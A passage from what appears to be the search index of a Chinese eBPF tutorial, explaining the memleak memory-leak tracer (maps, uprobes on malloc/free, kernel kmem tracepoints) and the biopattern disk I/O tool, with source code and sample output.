combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息,包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns,以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体(union),它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员:total_size 和 number_of_allocs,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。 接下来,memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射(maps)。这些映射都以 SEC(\".maps\") 的形式定义,表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数,如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free,分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放(missing free)模式。 接着定义了五个映射: sizes:这是一个哈希类型的映射,键为进程 ID,值为 u64 类型,存储每个进程的分配大小。 allocs:这也是一个哈希类型的映射,键为分配的地址,值为 alloc_info 结构体,存储每个内存分配的详细信息。 combined_allocs:这是另一个哈希类型的映射,键为堆栈 ID,值为 combined_alloc_info 联合体,存储所有未释放分配的总大小和总次数。 memptrs:这也是一个哈希类型的映射,键和值都为 u64 类型,用于在用户空间和内核空间之间传递内存指针。 stack_traces:这是一个堆栈追踪类型的映射,键为 u32 类型,用于存储堆栈 ID。 以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 malloc, free, calloc, realloc, mmap 和 munmap,以便在调用这些函数时进行数据记录。在用户态,memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数,如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值,如分配得到的内存地址。 这里,gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下: SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中,malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针(probes),用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针,用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明,这两个宏分别用于声明 kprobe(内核探针)和 kretprobe(内核返回探针)。具体来说,kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先,gen_alloc_enter 函数接收一个 size 参数,这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。 接下来,函数检查采样率 sample_rate。如果 sample_rate 大于1,意味着我们不需要追踪所有的内存分配请求,而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。 之后,函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID,我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map,这个 map 以进程 ID 为键,以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在,那么更新 value,否则就新建一个条目。 最后,如果启用了 trace_all 标志,函数将打印一条信息,说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size),它会在 malloc 函数被调用时被 BPF uprobe 拦截执行,并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 ctx,另一个是内存分配函数返回的内存地址 address。 首先,它获取当前线程的 PID,然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。 接着,函数清除 info 结构体的内容,并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。 接下来,如果 address 不为 0(也就是说,内存分配操作成功了),函数就会进一步收集一些额外的信息。首先,它获取当前的时间戳作为内存分配完成的时间,并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中,并随后更新到 allocs 这个 map 中。 最后,函数调用 update_statistics_add 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。 请注意,gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装,它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中,我们刚刚提到在gen_alloc_exit2函数中,调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数:当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。 首先,函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 initial_cinfo(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。 接着,函数创建一个 incremental_cinfo,并设置它的 total_size 为当前内存分配的大小,设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 sz。 最后,函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 update_statistics_add 函数,每个内存分配事件也能正确地记录到统计数据中。 总的来说,update_statistics_add 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 update_statistics_del 的函数,其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体,设置它的 total_size 为要释放的内存大小,设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意,这里的 number_of_allocs 是负数,表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 update_statistics_del 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时,我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中,kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree,这是一个bpf程序,会在内核调用kfree函数时执行。首先,该函数检查是否存在kfree函数。如果存在,则会读取传递给kfree函数的参数(即要释放的内存块的地址),并保存到变量ptr中;否则,会读取传递给kmem_free函数的参数(即要释放的内存块的地址),并保存到变量ptr中。接着,该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc,这也是一个bpf程序,会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配,最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint,以便在相应的内核函数被调用时得到执行。在Linux内核中,tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。 在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后,我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合,它负责将BPF程序加载到内核,设置和管理BPF map,以及处理从BPF程序收集到的数据。用户态程序较长,我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中,我们看到一个名为attach_uprobes的函数,该函数负责将uprobes(用户空间探测点)挂载到内存分配和释放函数上。在Linux中,uprobes是一种内核机制,可以在用户空间程序中的任意位置设置断点,这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里,每个内存相关的函数都通过两个uprobes进行跟踪:一个在函数入口(enter),一个在函数退出(exit)。因此,每当这些函数被调用或返回时,都会触发一个uprobes事件,进而触发相应的BPF程序。 在具体的实现中,我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes(函数返回探测点)。每个宏都需要三个参数:BPF程序的骨架(skel),要监视的函数名,以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数,如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等,以及对应的退出点。另外,我们也观察一些可能的分配函数,如valloc、pvalloc、aligned_alloc等,尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。 注意,一些内存分配函数可能并不存在或已弃用,比如valloc、pvalloc等,因此它们的附加可能会失败。在这种情况下,我们允许附加失败,并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数,而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak 参考: https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ make\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 [] 1 [] 2 [] 3 [] 4 [] 5 [] 6 [] \n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作,使用 BCC、bpftrace 等工具开发效率高、可移植性好,但是分发部署时需要安装 LLVM、Clang等编译环境,每次运行的时候执行本地或远程编译过程,资源消耗较大;使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息,同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,是为了简化 eBPF 程序的开发、构建、分发、运行而设计的,基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ,可以: 在编写 eBPF 程序或工具时只编写内核态代码,自动获取内核态导出信息,并作为模块动态加载; 使用 WASM 进行用户态交互程序的开发,在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行,以及处理相关数据; eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块,跨架构和内核版本进行分发,无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架,大幅简化了 eBPF 程序的开发流程,在大多数时候只需编写内核态代码,即可轻松构建、打包、发布完整的 eBPF 应用,同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候,也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps,并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF,以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一种新技术,允许用户在内核空间中执行自定义程序,而无需更改内核代码。这为系统管理员和开发者提供了强大的工具,可以深入了解和监控系统的行为,从而进行优化。 在本篇教程中,我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一,特别是在数据密集型应用中。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O"},"112":{"body":"随着技术的进步和数据量的爆炸性增长,磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此,深入了解和优化磁盘 I/O,特别是随机和顺序的 I/O,变得尤为重要。 随机 I/O :随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动,导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 顺序 I/O :与随机 I/O 相反,顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动,从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 为了实现存储性能的最优化,了解随机和顺序的磁盘 I/O 是至关重要的。例如,随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘,因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反,对于大量顺序 I/O 的应用,如何最大化磁盘的连续读写速度则更为关键。 在本教程的后续部分,我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为,还可以为进一步的性能优化提供有力的数据支持。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 随机/顺序磁盘 I/O","id":"112","title":"随机/顺序磁盘 I/O"},"113":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 首先,确保你已经正确安装了 libbpf 和相关的工具集,可以在这里找到对应的源代码: bpf-developer-tutorial 导航到 biopattern 的源代码目录,并使用 make 命令进行编译: cd ~/bpf-developer-tutorial/src/17-biopattern\nmake 编译成功后,你应该可以在当前目录下看到 biopattern 的可执行文件。基本的运行命令如下: sudo ./biopattern [interval] [count] 例如,要每秒打印一次输出,并持续10秒,你可以运行: $ sudo ./biopattern 1 10\nTracing block device I/O requested seeks... Hit Ctrl-C to end.\nDISK %RND %SEQ COUNT KBYTES\nsr0 0 100 3 0\nsr1 0 100 8 0\nsda 0 100 1 4\nsda 100 0 26 136\nsda 0 100 1 4 输出列的含义如下: DISK:被追踪的磁盘名称。 %RND:随机 I/O 的百分比。 %SEQ:顺序 I/O 的百分比。 COUNT:在指定的时间间隔内的 I/O 请求次数。 KBYTES:在指定的时间间隔内读写的数据量(以 KB 为单位)。 从上述输出中,我们可以得出以下结论: sr0 和 sr1 设备在观测期间主要进行了顺序 I/O,但数据量很小。 sda 设备在某些时间段内只进行了随机 I/O,而在其他时间段内只进行了顺序 I/O。 这些信息可以帮助我们了解系统的 I/O 模式,从而进行针对性的优化。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » Biopattern","id":"113","title":"Biopattern"},"114":{"body":"首先,让我们看一下 biopattern 的核心 eBPF 内核态代码: #include \n#include \n#include \n#include \"biopattern.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" const volatile bool filter_dev = false;\nconst volatile __u32 targ_dev = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter);\n} counters SEC(\".maps\"); SEC(\"tracepoint/block/block_rq_complete\")\nint handle__block_rq_complete(void *args)\n{ struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 全局变量定义 const volatile bool filter_dev = false; const volatile __u32 targ_dev = 0; 这两个全局变量用于设备过滤。filter_dev 决定是否启用设备过滤,而 targ_dev 是我们想要追踪的目标设备的标识符。 BPF map 定义: struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter); } counters SEC(\".maps\"); 这部分代码定义了一个 BPF map,类型为哈希表。该映射的键是设备的标识符,而值是一个 counter 结构体,用于存储设备的 I/O 统计信息。 追踪点函数: SEC(\"tracepoint/block/block_rq_complete\") int handle__block_rq_complete(void *args) { struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0; } 在 Linux 中,每次块设备的 I/O 请求完成时,都会触发一个名为 block_rq_complete 的追踪点。这为我们提供了一个机会,通过 eBPF 来捕获这些事件,并进一步分析 I/O 的模式。 主要逻辑分析: 提取 I/O 请求信息 :从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构,取决于 has_block_rq_completion 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况,我们都从上下文中提取出扇区号 (sector)、扇区数量 (nr_sector) 和设备标识符 (dev)。 设备过滤 :如果启用了设备过滤 (filter_dev 为 true),并且当前设备不是目标设备 (targ_dev),则直接返回。这允许用户只追踪特定的设备,而不是所有设备。 统计信息更新 : - 查找或初始化统计信息 :使用 bpf_map_lookup_or_try_init 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息,它会使用 zero 结构体进行初始化。 - 判断 I/O 模式 :根据当前 I/O 请求与上一个 I/O 请求的扇区号,我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同,那么它是顺序的;否则,它是随机的。然后,我们使用 __sync_fetch_and_add 函数更新相应的统计信息。这是一个原子操作,确保在并发环境中数据的一致性。 - 更新数据量 :我们还更新了该设备的总数据量,这是通过将扇区数量 (nr_sector) 乘以 512(每个扇区的字节数)来实现的。 - 更新最后一个 I/O 请求的扇区号 :为了下一次的比较,我们更新了 last_sector 的值。 在 Linux 内核的某些版本中,由于引入了一个新的追踪点 block_rq_error,追踪点的命名和结构发生了变化。这意味着,原先的 block_rq_complete 追踪点的结构名称从 trace_event_raw_block_rq_complete 更改为 trace_event_raw_block_rq_completion。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 为了解决这个问题,biopattern 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构,即 has_block_rq_completion 函数。 定义两种追踪点结构 : struct trace_event_raw_block_rq_complete___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); struct trace_event_raw_block_rq_completion___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); 这里定义了两种追踪点结构,分别对应于不同版本的内核。每种结构都包含设备标识符 (dev)、扇区号 (sector) 和扇区数量 (nr_sector)。 动态检测追踪点结构 : static __always_inline bool has_block_rq_completion() { if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) return true; return false; } has_block_rq_completion 函数使用 bpf_core_type_exists 函数来检测当前内核是否存在 trace_event_raw_block_rq_completion___x 结构。如果存在,函数返回 true,表示当前内核使用的是新的追踪点结构;否则,返回 false,表示使用的是旧的结构。在对应的 eBPF 代码中,会根据两种不同的定义分别进行处理,这也是适配不同内核版本之间的变更常见的方案。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF Biopattern 实现原理","id":"114","title":"eBPF Biopattern 实现原理"},"115":{"body":"biopattern 工具的用户态代码负责从 BPF 映射中读取统计数据,并将其展示给用户。通过这种方式,系统管理员可以实时监控每个设备的 I/O 模式,从而更好地理解和优化系统的 I/O 性能。 主循环: /* main: poll */ while (1) { sleep(env.interval); err = print_map(obj->maps.counters, partitions); if (err) break; if (exiting || --env.times == 0) break; } 这是 biopattern 工具的主循环,它的工作流程如下: 等待 :使用 sleep 函数等待指定的时间间隔 